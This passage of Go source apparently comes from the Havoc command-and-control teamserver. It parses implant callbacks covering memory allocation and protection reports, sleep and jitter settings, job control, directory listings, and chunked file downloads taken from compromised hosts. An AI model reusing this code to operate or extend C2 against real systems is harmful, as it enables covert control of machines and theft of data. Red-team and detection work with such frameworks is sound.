COMMAND_CHECKIN, Invalid packet\", AgentID))\n\t\t}\n\n\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\n\t\tbreak\n\n\tcase DEMON_INFO:\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tInfoID = int(Parser.ParseInt32())\n\t\t\t\tOutput = make(map[string]string)\n\t\t\t)\n\n\t\t\tOutput[\"Type\"] = \"Info\"\n\n\t\t\tswitch InfoID {\n\t\t\tcase DEMON_INFO_MEM_ALLOC:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tMemPointer   = Parser.ParsePointer()\n\t\t\t\t\t\tMemSize      = Parser.ParseInt32()\n\t\t\t\t\t\tProtectionId = Parser.ParseInt32()\n\t\t\t\t\t\tProtection   string\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_ALLOC, MemPointer: %x, MemSize: %x, ProtectionId: %d\", AgentID, MemPointer, MemSize, ProtectionId))\n\n\t\t\t\t\tif s, ok := win32.Protections[int(ProtectionId)]; ok {\n\t\t\t\t\t\tProtection = s[1]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tProtection = \"UNKNOWN\"\n\t\t\t\t\t}\n\n\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Memory Allocated : Pointer:[0x%x] Size:[%d] Protection:[%v]\", MemPointer, MemSize, Protection)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_ALLOC, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_INFO_MEM_EXEC:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32}) {\n\n\t\t\t\t\tvar (\n\t\t\t\t\t\tMemFunction = Parser.ParsePointer()\n\t\t\t\t\t\tThreadId    = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_EXEC, MemFunction: %x, ThreadId: %d\", AgentID, MemFunction, ThreadId))\n\n\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Memory Executed  : Function:[0x%x] ThreadId:[%d]\", MemFunction, ThreadId)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_EXEC, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_INFO_MEM_PROTECT:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tMemory        = Parser.ParsePointer()\n\t\t\t\t\t\tMemorySize    = Parser.ParseInt32()\n\t\t\t\t\t\tOldProtection = Parser.ParseInt32()\n\t\t\t\t\t\tProtection    = Parser.ParseInt32()\n\t\t\t\t\t\tProcString    string\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_PROTECT, Memory: %x, MemorySize: %x, OldProtection: %d, Protection: %d\", AgentID, Memory, MemorySize, OldProtection, Protection))\n\n\t\t\t\t\tif s, ok := win32.Protections[OldProtection]; ok {\n\t\t\t\t\t\tProcString = s[1] + \" -> \"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tProcString = \"UNKNOWN\" + \" -> \"\n\t\t\t\t\t}\n\n\t\t\t\t\tif s, ok := win32.Protections[Protection]; ok {\n\t\t\t\t\t\tProcString += s[1]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tProcString += \"UNKNOWN\"\n\t\t\t\t\t}\n\n\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Memory Protection: Memory:[0x%x] Size:[%d] Protection[%v]\", Memory, MemorySize, ProcString)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_PROTECT, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: DEMON_INFO - UNKNOWN (%d)\", AgentID, InfoID))\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\t\t\ta.RequestCompleted(RequestID)\n\t\t\tbreak\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: DEMON_INFO, invalid packet\", AgentID))\n\t\t}\n\n\tcase COMMAND_SLEEP:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\tvar Output = make(map[string]string)\n\n\t\t\ta.Info.SleepDelay = Parser.ParseInt32()\n\t\t\ta.Info.SleepJitter = Parser.ParseInt32()\n\t\t\tteamserver.AgentUpdate(a)\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SLEEP, SleepDelay: %d, SleepJitter: %d\", AgentID, a.Info.SleepDelay, a.Info.SleepJitter))\n\n\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Set sleep interval to %v seconds with %v%% jitter\", a.Info.SleepDelay, a.Info.SleepJitter)\n\t\t\ta.RequestCompleted(RequestID)\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SLEEP, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_JOB:\n\t\tvar Message = make(map[string]string)\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\tvar SubCommand = Parser.ParseInt32()\n\n\t\t\tswitch SubCommand {\n\n\t\t\tcase DEMON_COMMAND_JOB_LIST:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_LIST\", AgentID))\n\t\t\t\tvar Output string\n\n\t\t\t\tOutput += fmt.Sprintf(\" %-6s  %-13s  %-5s\\n\", \"Job ID\", \"Type\", \"State\")\n\t\t\t\tOutput += fmt.Sprintf(\" %-6s  %-13s  %-5s\\n\", \"------\", \"----\", \"-----\")\n\n\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tJobID int\n\t\t\t\t\t\tType  int\n\t\t\t\t\t\tState int\n\n\t\t\t\t\t\tStringType  string\n\t\t\t\t\t\tStringState string\n\t\t\t\t\t)\n\n\t\t\t\t\tJobID = Parser.ParseInt32()\n\t\t\t\t\tType = Parser.ParseInt32()\n\t\t\t\t\tState = Parser.ParseInt32()\n\n\t\t\t\t\tif Type == 0x1 {\n\t\t\t\t\t\tStringType = \"Thread\"\n\t\t\t\t\t} else if Type == 0x2 {\n\t\t\t\t\t\tStringType = \"Process\"\n\t\t\t\t\t} else if Type == 0x3 {\n\t\t\t\t\t\tStringType = \"Track Process\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tStringType = \"Unknown\"\n\t\t\t\t\t}\n\n\t\t\t\t\tif State == 0x1 {\n\t\t\t\t\t\tStringState = \"Running\"\n\t\t\t\t\t} else if State == 0x2 {\n\t\t\t\t\t\tStringState = \"Suspended\"\n\t\t\t\t\t} else if State == 0x3 {\n\t\t\t\t\t\tStringState = \"Dead\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tStringState = \"Unknown\"\n\t\t\t\t\t}\n\n\t\t\t\t\tOutput += fmt.Sprintf(\" %-6v  %-13s  %-5s\\n\", JobID, StringType, StringState)\n\t\t\t\t}\n\n\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\tMessage[\"Message\"] = \"Job list:\"\n\t\t\t\tMessage[\"Output\"] = \"\\n\" + Output\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_JOB_SUSPEND:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tJobID   = Parser.ParseInt32()\n\t\t\t\t\t\tSuccess = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_SUSPEND, JobID: %v, Success: %d\", AgentID, JobID, Success))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Successful suspended job %v\", JobID)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Failed to suspended job %v\", JobID)\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_SUSPEND, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_JOB_RESUME:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tJobID   = Parser.ParseInt32()\n\t\t\t\t\t\tSuccess = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_RESUME, JobID: %v, Success: %d\", AgentID, JobID, Success))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Successful resumed job %v\", JobID)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Failed to resumed job %v\", JobID)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_RESUME, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_JOB_KILL_REMOVE:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tJobID   = Parser.ParseInt32()\n\t\t\t\t\t\tSuccess = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_KILL_REMOVE, JobID: %v, Success: %d\", AgentID, JobID, Success))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Successful killed and removed job %v\", JobID)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Failed to kill job %v\", JobID)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_KILL_REMOVE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_JOB_DIED:\n\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_DIED\", AgentID))\n\n\t\t\t\t// this message is sent by the agent when a created process dies\n\t\t\t\ta.RequestCompleted(RequestID)\n\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_JOB - UNKNOWN (%d)\", AgentID, SubCommand))\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t\ta.RequestCompleted(RequestID)\n\t\t\tbreak\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_JOB, Invalid packet\", AgentID))\n\t\t}\n\n\tcase COMMAND_FS:\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tSubCommand = Parser.ParseInt32()\n\t\t\t\tOutput     = make(map[string]string)\n\t\t\t)\n\n\t\t\tswitch SubCommand {\n\t\t\tcase DEMON_COMMAND_FS_DIR:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DIR\", AgentID))\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBool, parser.ReadBool, parser.ReadBytes, parser.ReadBool}) {\n\n\t\t\t\t\tvar (\n\t\t\t\t\t\tExplorer  = Parser.ParseBool()\n\t\t\t\t\t\tListOnly  = Parser.ParseBool()\n\t\t\t\t\t\tStartPath = Parser.ParseUTF16String()\n\t\t\t\t\t\tSuccess   = Parser.ParseBool()\n\t\t\t\t\t\tReadOne   = false\n\t\t\t\t\t\tDir       string\n\t\t\t\t\t\tDirMap    = make(map[string]any)\n\t\t\t\t\t\tDirArr    []map[string]string\n\t\t\t\t\t\tWhatToRead []parser.ReadType\n\t\t\t\t\t)\n\n\t\t\t\t\tif ! Success {\n\t\t\t\t\t\tOutput[\"Type\"] = \"Error\"\n\t\t\t\t\t\tOutput[\"Message\"] = \"Failed to enumerate files/folders at specified path: \" + StartPath\n\t\t\t\t\t} else {\n\t\t\t\t\t\tIsFirst := true\n\t\t\t\t\t\tif ListOnly {\n\t\t\t\t\t\t\tWhatToRead = []parser.ReadType{parser.ReadBytes}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tWhatToRead = []parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor Parser.CanIRead(WhatToRead) {\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\t\tRootDirPath   = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\t\tNumFiles      = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\tNumDirs       = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\tTotalFileSize int64 = 0\n\t\t\t\t\t\t\t\t\tItemsLeft     = NumFiles + NumDirs\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\tif !ListOnly {\n\t\t\t\t\t\t\t\tTotalFileSize = Parser.ParseInt64()\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif !ListOnly && !Explorer && NumFiles + NumDirs > 0 {\n\t\t\t\t\t\t\t\tif IsFirst {\n\t\t\t\t\t\t\t\t\tIsFirst = false\n\t\t\t\t\t\t\t\t\tDir += fmt.Sprintf(\" Directory of %s:\\n\\n\", RootDirPath)\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tDir += fmt.Sprintf(\"\\n\\n Directory of %s:\\n\\n\", RootDirPath)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tfor (ItemsLeft > 0 && ((ListOnly && Parser.CanIRead([]parser.ReadType{parser.ReadBytes})) || (!ListOnly && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBool, parser.ReadInt64, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32})))) {\n\n\t\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\t\tFileName         = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\t\tIsDir            = false\n\t\t\t\t\t\t\t\t\tFileSize         int64 = 0\n\t\t\t\t\t\t\t\t\tLastAccessDay    = 0\n\t\t\t\t\t\t\t\t\tLastAccessMonth  = 0\n\t\t\t\t\t\t\t\t\tLastAccessYear   = 0\n\t\t\t\t\t\t\t\t\tLastAccessMinute = 0\n\t\t\t\t\t\t\t\t\tLastAccessHour   = 0\n\n\t\t\t\t\t\t\t\t\tSize         string\n\t\t\t\t\t\t\t\t\tType         string\n\t\t\t\t\t\t\t\t\tLastModified string\n\t\t\t\t\t\t\t\t\tDirText      string\n\t\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\t\tif !ListOnly {\n\t\t\t\t\t\t\t\t\tIsDir            = Parser.ParseBool()\n\t\t\t\t\t\t\t\t\tFileSize         = Parser.ParseInt64()\n\t\t\t\t\t\t\t\t\tLastAccessDay    = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\tLastAccessMonth  = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\tLastAccessYear   = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\tLastAccessMinute = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\tLastAccessHour   = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tReadOne = true\n\n\t\t\t\t\t\t\t\tif ListOnly {\n\t\t\t\t\t\t\t\t\tDir += fmt.Sprintf(\"%s%s\\n\", RootDirPath[:len(RootDirPath)-1], FileName)\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tLastModified = fmt.Sprintf(\"%02d/%02d/%d  %02d:%02d\", LastAccessDay, LastAccessMonth, LastAccessYear, LastAccessHour, LastAccessMinute)\n\t\t\t\t\t\t\t\t\tif IsDir {\n\t\t\t\t\t\t\t\t\t\tType = \"dir\"\n\t\t\t\t\t\t\t\t\t\tDirText = \"<DIR>\"\n\t\t\t\t\t\t\t\t\t\tSize    = \"\"\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tDirText = \"\"\n\t\t\t\t\t\t\t\t\t\tSize    = common.ByteCountSI(int64(FileSize))\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif Explorer {\n\t\t\t\t\t\t\t\t\t\tDirArr = append(DirArr, map[string]string{\n\t\t\t\t\t\t\t\t\t\t\t\"Type\":     Type,\n\t\t\t\t\t\t\t\t\t\t\t\"Size\":     Size,\n\t\t\t\t\t\t\t\t\t\t\t\"Modified\": LastModified,\n\t\t\t\t\t\t\t\t\t\t\t\"Name\":     FileName,\n\t\t\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tDir += fmt.Sprintf(\"%-17s    %-5s  %-12s   %-8s\\n\", LastModified, DirText, Size, FileName)\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tItemsLeft -= 1\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif NumFiles + NumDirs > 0 && !Explorer && !ListOnly {\n\t\t\t\t\t\t\t\tDir += fmt.Sprintf(\"               %d File(s)     %s\\n\", NumFiles, common.ByteCountSI(TotalFileSize))\n\t\t\t\t\t\t\t\tDir += fmt.Sprintf(\"               %d Folder(s)\", NumDirs)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif Explorer {\n\t\t\t\t\t\t\t\tDirMap[\"Path\"] = []byte(RootDirPath)\n\t\t\t\t\t\t\t\tDirMap[\"Files\"] = DirArr\n\n\t\t\t\t\t\t\t\tDirJson, err := json.Marshal(DirMap)\n\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\tlogger.Debug(\"[Error] \" + err.Error())\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tOutput[\"MiscType\"] = \"FileExplorer\"\n\t\t\t\t\t\t\t\t\tOutput[\"MiscData\"] = base64.StdEncoding.EncodeToString(DirJson)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif !Explorer {\n\t\t\t\t\t\t\tif ReadOne == false {\n\t\t\t\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\t\t\t\tOutput[\"Output\"] = \"No file or folder was found\"\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\t\t\t\tOutput[\"Output\"] = Dir\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DIR, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_FS_DOWNLOAD:\n\n\t\t\t\t/*\n\t\t\t\t * Download Header:\n\t\t\t\t *  [ Mode      ] Open ( 0 ), Write ( 1 ) or Close ( 2 )\n\t\t\t\t *  [ File ID   ] Download File ID\n\t\t\t\t *\n\t\t\t\t * Data (Open):\n\t\t\t\t *  [ File Size ]\n\t\t\t\t *  [ File Name ]\n\t\t\t\t *\n\t\t\t\t * Data (Write)\n\t\t\t\t *  [ Chunk Data ] Size + FileChunk\n\t\t\t\t *\n\t\t\t\t * Data (Close):\n\t\t\t\t *  [ File Name ]\n\t\t\t\t *  [  Reason   ] Removed or Finished\n\t\t\t\t * */\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tMode   = Parser.ParseInt32()\n\t\t\t\t\t\tFileID = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Mode: %d, FileID: %x\", AgentID, Mode, FileID))\n\n\t\t\t\t\tswitch Mode {\n\n\t\t\t\t\t/* File Open */\n\t\t\t\t\tcase 0x0:\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Download open FileID:[%x]\", FileID))\n\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt64, parser.ReadBytes}) {\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tFileSize = Parser.ParseInt64()\n\t\t\t\t\t\t\t\tFileName = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\tSize     = common.ByteCountSI(FileSize)\n\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Started download of file: %v [%v]\", FileName, Size)\n\n\t\t\t\t\t\t\tif err := a.DownloadAdd(FileID, FileName, FileSize); err != nil {\n\t\t\t\t\t\t\t\tOutput[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\t\tOutput[\"Message\"] = err.Error()\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tOutput[\"MiscType\"] = \"download\"\n\t\t\t\t\t\t\t\tOutput[\"MiscData2\"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + \";\" + Size\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet\", AgentID))\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tcase 0x1:\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Download write FileID:[%v]\", FileID))\n\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\t\t\tvar FileChunk = Parser.ParseBytes()\n\n\t\t\t\t\t\t\ta.DownloadWrite(FileID, FileChunk)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet\", AgentID))\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tcase 0x2:\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Download close FileID:[%v]\", FileID))\n\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tFileName string\n\t\t\t\t\t\t\t\tReason   = Parser.ParseInt32()\n\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\tif len(a.Downloads) > 0 {\n\t\t\t\t\t\t\t\tvar download = a.DownloadGet(FileID)\n\t\t\t\t\t\t\t\tif download != nil {\n\t\t\t\t\t\t\t\t\tFileName = download.FilePath\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif Reason == 0x0 {\n\t\t\t\t\t\t\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\t\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Finished download of file: %v\", FileName)\n\n\t\t\t\t\t\t\t\t\ta.DownloadClose(FileID)\n\t\t\t\t\t\t\t\t} else if Reason == 0x1 {\n\t\t\t\t\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Download has been removed: %v\", FileName)\n\n\t\t\t\t\t\t\t\t\ta.DownloadClose(FileID)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t/* TODO: handle this error. or simply ignore this ? */\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\ta.RequestCompleted(RequestID)\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet\", AgentID))\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - UNKNOWN (%d)\", AgentID, Mode))\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_FS_UPLOAD:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD\", AgentID))\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tFileSize = Parser.ParseInt32()\n\t\t\t\t\t\tFileName = Parser.ParseUTF16String()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD, FileSize: %v, FileName: %v\", AgentID, FileSize, FileName))\n\n\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Uploaded file: %v (%v)\", FileName, FileSize)\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD, Invalid packet\", AgentID))\n\t\t\t\t\tOutput[\"Type\"] = \"Error\"\n\t\t\t\t\tOutput[\"Message\"] = \"Failed to parse FS::Upload response\"\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_FS_CD:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar Path = Parser.ParseUTF16String()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CD, Path: %v\", AgentID, Path))\n\n\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Changed directory: %v\", Path)\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CD, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_FS_REMOVE:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) 